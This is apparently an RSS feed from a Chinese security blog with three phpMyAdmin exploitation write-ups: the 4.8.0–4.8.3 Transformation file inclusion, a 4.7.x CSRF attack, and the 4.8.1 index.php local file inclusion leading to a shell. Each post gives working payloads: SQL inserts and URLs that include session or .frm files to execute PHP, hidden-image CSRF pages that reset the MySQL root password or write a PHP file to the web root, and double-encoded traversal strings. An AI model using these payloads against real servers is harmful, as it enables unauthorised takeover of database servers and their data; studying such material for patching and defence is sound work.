<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>phpmyadmin &#8211; ChaBug安全</title>
	<atom:link href="/tags/phpmyadmin/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:24:44 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Phpmyadmin4.8.0~4.8.3任意文件包含</title>
		<link>/web/628.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 21 Dec 2018 00:41:32 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=628</guid>

					<description><![CDATA[前言 2018年12月7日，phpmyadmin官方发布公告修复了一个由Transformation特性引起的任意文件包含漏洞。 漏洞分析 Transformation是phpMy...]]></description>
										<content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>2018年12月7日，<span class="wpcom_tag_link"><a href="/tags/phpmyadmin" title="phpmyadmin" target="_blank">phpmyadmin</a></span>官方发布<a href="https://www.phpmyadmin.net/security/PMASA-2018-6/">公告</a>修复了一个由<code>Transformation</code>特性引起的任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span><span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>。</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p><code>Transformation</code>是phpMyAdmin中的一个高级功能，通过<code>Transformation</code>可以对每个字段的内容使用不同的转换，每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段<code>Filename</code>，正常情况下 phpMyAdmin 只会将路径显示出来。但是通过<code>Transformation</code>我们可以将该字段转换成超链接，我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。</p>
<p>通常情况下Transformation的规则存储在每个数据库的<code>pma__column_info</code>表中，而在phpMyAdmin 4.8.0~4.8.3版本中，由于对转换参数处理不当，导致了任意文件包含漏洞的出现。</p>
<p>这些转换在phpMyAdmin的<code>column_info</code>表中定义，他通常已经存在于phpMyAdmin的系统表中。但是每个数据库都可以生成自己的版本。要为特定数据库生成phpmyadmin系统表，可以这样生成</p>
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/chk_rel.php?fixall_pmadb=1&amp;db=*yourdb*</pre>
<p>它将会创建一个<code>pma__*</code>表的集合到你数据库中。</p>
<p>说了这么多，我们来看下具体产生漏洞的代码<code>tbl_replace.php</code></p>
<pre class="lang:default decode:true line-numbers language-php">&lt;?php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[省略]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&amp;&amp; !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin-&gt;applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages &amp; insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&amp;&amp; !$transformation_plugin-&gt;isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin-&gt;getError()
         );
      }
   }
}</pre>
<p>拼接到<code>$filename</code>的变量<code>$mime_map[$column_name]['input_transformation']</code>来自于数据表<code>pma__column_info</code>中的<code>input_transformation</code>字段，因为数据库中的内容用户可控，从而产生了任意文件包含漏洞。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<ol>
<li>创建一个新的数据库<code>foo</code>和一个随机的<code>bar</code>表，在表中创建一个<code>baz</code>字段，然后把我们的php代码写入session
<pre class="lang:default decode:true line-numbers language-sql">CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
INSERT INTO foo.bar SELECT '&lt;?php phpinfo() ?&gt;';</pre>
</li>
<li>创建phpmyadmin系统表在你的<code>foo</code>数据库中
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/chk_rel.php?fixall_pmadb=1&amp;db=foo</pre>
</li>
<li>将篡改后的<code>Transformation</code>数据插入表<code>pma__columninfo</code>中：将<code>yourSessionId</code>替换成你的会话ID，即COOKIE中phpMyAdmin的值
<pre class="lang:default decode:true line-numbers language-sql">INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../tmp/sess_{yourSessionId}','plop';</pre>
</li>
<li>然后访问
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/tbl_replace.php?db=foo&amp;table=bar&amp;where_clause=1=1&amp;fields_name[multi_edit][][]=baz&amp;clause_is_unique=1</pre>
<p>如果利用成功，则会返回<code>phpinfo();</code></li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>phpMyAdmin 4.7.x CSRF 漏洞利用</title>
		<link>/web/437.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 28 Jun 2018 03:20:15 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<guid isPermaLink="false">/?p=402</guid>

					<description><![CDATA[原文 https://www.webshell.cc/6553.html 修改root密码： 保存为：webshell.html &#60;p&#62;Hello World&#60;/...]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-medium" src="https://upload.wikimedia.org/wikipedia/commons/9/95/PhpMyAdmin_logo.png" width="283" height="167" /></p>
<blockquote><p>原文 https://www.webshell.cc/6553.html</p></blockquote>
<p>修改root密码：</p>
<p>保存为：<span class="wp_keywordlink"><a title="webshell" href="https://www.webshell.cc/" target="_blank" rel="noopener noreferrer">webshell</a></span>.html</p>
<p><code>&lt;p&gt;Hello World&lt;/p&gt;<br />
&lt;img src="https://webshell.cc/<span class="wp_keywordlink_affiliate"><a title="View all posts in sql" href="https://www.webshell.cc/tag/sql" target="_blank" rel="noopener noreferrer">sql</a></span>.php?db=my<span class="wp_keywordlink_affiliate"><a title="View all posts in sql" href="https://www.webshell.cc/tag/sql" target="_blank" rel="noopener noreferrer">sql</a></span>&amp;table=user&amp;sql_query=SET%20password%20=%20PASSWORD(%27www.webshell.cc%27)" style="display:none;" /&gt;</code></p>
<p>密码为：www.webshell.cc</p>
<p>写文件</p>
<p>首先你要知道路径</p>
<p>保存为：webshell.html<br />
<span id="more-6553"></span></p>
<p>&nbsp;</p>
<p><code>&lt;p&gt;Hello World&lt;/p&gt;<br />
&lt;img src="https://webshell.cc/sql.php?db=mysql&amp;table=user&amp;sql_query=select '&lt;?php phpinfo();?&gt;' into outfile '/var/www/html/test.php';" style="display:none;" /&gt;</code></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>phpmyadmin4.8.1后台getshell</title>
		<link>/web/431.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 22 Jun 2018 07:49:35 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[shell]]></category>
		<guid isPermaLink="false">/?p=371</guid>

					<description><![CDATA[出处@ChaMd5安全团队 &#160; 官网下载的最新版，文件名是phpMyAdmin-4.8.1-all-languages.zip &#160; 问题就出现在了 /index...]]></description>
										<content:encoded><![CDATA[<p>出处<a href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247485036&amp;idx=1&amp;sn=8e9647906c5d94f72564dec5bc51a2ab&amp;chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&amp;mpshare=1&amp;scene=23&amp;srcid=0621KeaTSAGNEZWYEAibMyeE#rd" target="_blank" rel="noopener noreferrer">@ChaMd5安全团队</a></p>
<p>&nbsp;</p>
<p>官网下载的最新版，文件名是phpMyAdmin-4.8.1-all-languages.zip</p>
<p>&nbsp;</p>
<p>问题就出现在了 /index.php</p>
<p>找到55~63行</p>
<p>&nbsp;</p>
<p><a href="/wp-content/uploads/2018/06/1.png"><img loading="lazy" class="alignnone size-full wp-image-374" src="/wp-content/uploads/2018/06/1.png" alt="" width="1109" height="412" /></a></p>
<p>第61行出现了 include $_REQUEST[&#8216;target&#8217;];</p>
<p>很明显这是LFI的前兆，我们只要绕过55~59的限制就行</p>
<p>第57行限制 target 参数不能以index开头</p>
<p>第58行限制 target 参数不能出现在 $target_blacklist 内</p>
<p>找到 $target_blacklist 的定义：</p>
<p><a href="/wp-content/uploads/2018/06/2.png"><img loading="lazy" class="alignnone size-full wp-image-375" src="/wp-content/uploads/2018/06/2.png" alt="" width="847" height="353" /></a></p>
<p>就在 /index.php 的第50行</p>
<p>只要 target 参数不是 import.php 或 export.php 就行，最后一个限制是Core::checkPageValidity($_REQUEST[&#8216;target&#8217;])</p>
<p>找到Core类的checkPageValidity方法：</p>
<p><a href="/wp-content/uploads/2018/06/3.png"><img loading="lazy" class="alignnone size-full wp-image-376" src="/wp-content/uploads/2018/06/3.png" alt="" width="1124" height="884" /></a></p>
<p>定义在了 \libraries\classes\core.php 的第443行</p>
<p>问题出现在了第 465 行的 urldecode()</p>
<p>我们可以利用这个函数绕过白名单检测！</p>
<p>我把 ? 两次url编码为 %253f 即可绕过验证！</p>
<p>&nbsp;</p>
<p><strong>Payload:</strong></p>
<ol class="list-paddingleft-2">
<li><code><span class="">http:</span><span class="">//127.0.0.1/<span class="wpcom_tag_link"><a href="/tags/phpmyadmin" title="phpmyadmin" target="_blank">phpmyadmin</a></span>/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini</span></code></li>
</ol>
<p><a href="/wp-content/uploads/2018/06/4.png"><img loading="lazy" class="alignnone size-full wp-image-377" src="/wp-content/uploads/2018/06/4.png" alt="" width="1180" height="912" /></a></p>
<p>本以为漏洞到这就结束了，因为我没有找到phpmyadmin可以进行文件操作来实现Get<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>的地方，过了好几周后突发灵感，想到了一个不用写文件也能拿Shell的方法。</p>
<p>我们都知道，登入phpmyadmin后，数据库就是完全可以控制的了，那我们是否可以把WebShell写入到数据库中然后包含数据库文件？</p>
<p>本地测试了一下，发现如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的：</p>
<p><a href="/wp-content/uploads/2018/06/5.png"><img loading="lazy" class="alignnone size-full wp-image-378" src="/wp-content/uploads/2018/06/5.png" alt="" width="587" height="273" /></a></p>
<p><a href="/wp-content/uploads/2018/06/6.png"><img loading="lazy" class="alignnone size-full wp-image-379" src="/wp-content/uploads/2018/06/6.png" alt="" width="977" height="201" /></a></p>
<p>找到对应的数据库文件：</p>
<p><a href="/wp-content/uploads/2018/06/7.png"><img loading="lazy" class="alignnone size-full wp-image-380" src="/wp-content/uploads/2018/06/7.png" alt="" width="614" height="784" /></a></p>
<p>包含之：</p>
<p><a href="/wp-content/uploads/2018/06/9.png"><img loading="lazy" class="alignnone size-full wp-image-381" src="/wp-content/uploads/2018/06/9.png" alt="" width="1319" height="902" /></a></p>
<p>Payload:</p>
<ol class="list-paddingleft-2">
<li><code><span class="">http:</span><span class="">//127.0.0.1/phpmyadmin/index.php?a=phpinfo();&amp;target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm</span></code></li>
</ol>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
